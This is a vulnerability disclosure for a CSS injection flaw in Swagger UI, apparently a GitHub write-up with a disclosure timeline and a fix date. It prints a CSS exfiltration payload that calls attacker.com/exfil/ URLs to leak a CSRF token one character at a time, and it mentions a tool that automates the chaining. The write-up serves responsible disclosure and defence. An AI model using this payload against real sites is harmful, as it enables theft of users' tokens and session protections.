CSS-injection-in-Swagger-UI

We have found a CSS Injection vulnerability on Swagger UI that allows attacker to use the Relative Path Overwrite (RPO) [1][2] technique to perform CSS-based input field value exfiltration. In our PoC, we were able to successfully steal the CSRF token value.

Researcher: Kevinlpd (DatLP) of The Tarantula Team, VinCSS (a member of Vingroup)

What is Swagger UI

Swagger UI allows anyone — be it your development team or your end consumers — to visualize and interact with the API’s resources without having any of the implementation logic in place. It’s automatically generated from your OpenAPI (formerly known as Swagger) Specification, with the visual documentation making it easy for back end implementation and client side consumption.

Background

We've discovered the vulnerability when reading the following in the document of Swagger [3]:

We’ve observed that the ?url= parameter in SwaggerUI allows an attacker to override an otherwise hard-coded schema file.
The decision was made to put this in the public issue tracker because (a) we aren't going to immediately fix this, and (b) the attack surface for this is significantly diminished by our effective sanitization efforts to deter XSS attacks in documents used as input.

Swagger had known the issue, but Swagger thought that this vulnerability could not lead to an Cross-Site Scripting (XSS) exploit, so they ignored it. So we have decided to further research on this issue.

Injection step:

We realize that Swagger UI allows users to embed untrusted Json format from remote servers

var url = window.location.search.match(/url=([^&]+)/);
// ...
url = options.swaggerUrl || url
// ...
var swaggerOptions = {
    spec: spec1,
url: url, // ...
}
var ui = SwaggerUIBundle(swaggerOptions)

This means we can inject json content via the GET parameter to victim Swagger UI. In the json content we use the <style> tag and CSS @import rule to load the CSS payload:

Exfiltration step:

With CSS payload, we can use Relative Path Overwrite (RPO) technique to perform CSS-based input field value exfiltration [4]. The following CSS code will generate a callback query to the attacker's server (https://attacker.com/exfil/a) if the CSRF token value starts with the character a, similarly it will make other requests (https://attacker.com/exfil/b; https://attacker.com/exfil/c; https://attacker.com/exfil/d, etc) if the CSRF token value begins with character b, character c or character d. Continue to try in turn for each character in range A-Z and range 0-9 until we found the first character in the CSRF token value:

input[name=csrf][value^=a]{
    background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
    background-image: url(https://attacker.com/exfil/b);
}
...
input[name=csrf][value^=9]{
    background-image: url(https://attacker.com/exfil/9);

And after we have found the first character in the CSRF token value, we will continue to search for the second character and so on:

input[name=csrf][value^=aa]{
    background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=ab]{
    background-image: url(https://attacker.com/exfil/cb);
}
 ...
input[name=csrf][value^=a9]{
    background-image: url(https://attacker.com/exfil/c9);

With sequential @import chaining as below so we can steal full of CSRF token value:

You can automate all of step by using the sic tool [5]

And we got the following result:

Tested versions

Swagger UI v3.23.10 and earlier

Disclosure timeline

September 17, 2019: Report and discuss with maintainer for Swagger UI.
September 20, 2019: Ask maintainer for vulnerability disclosure.
September 21, 2019: Swagger UI has released a new version that has addressed the vulnerability.
September 21, 2019: Get approval from maintainer for disclosure on October 6, 2019.

lowk3v / css-injection-in-swagger-ui Goto Github PK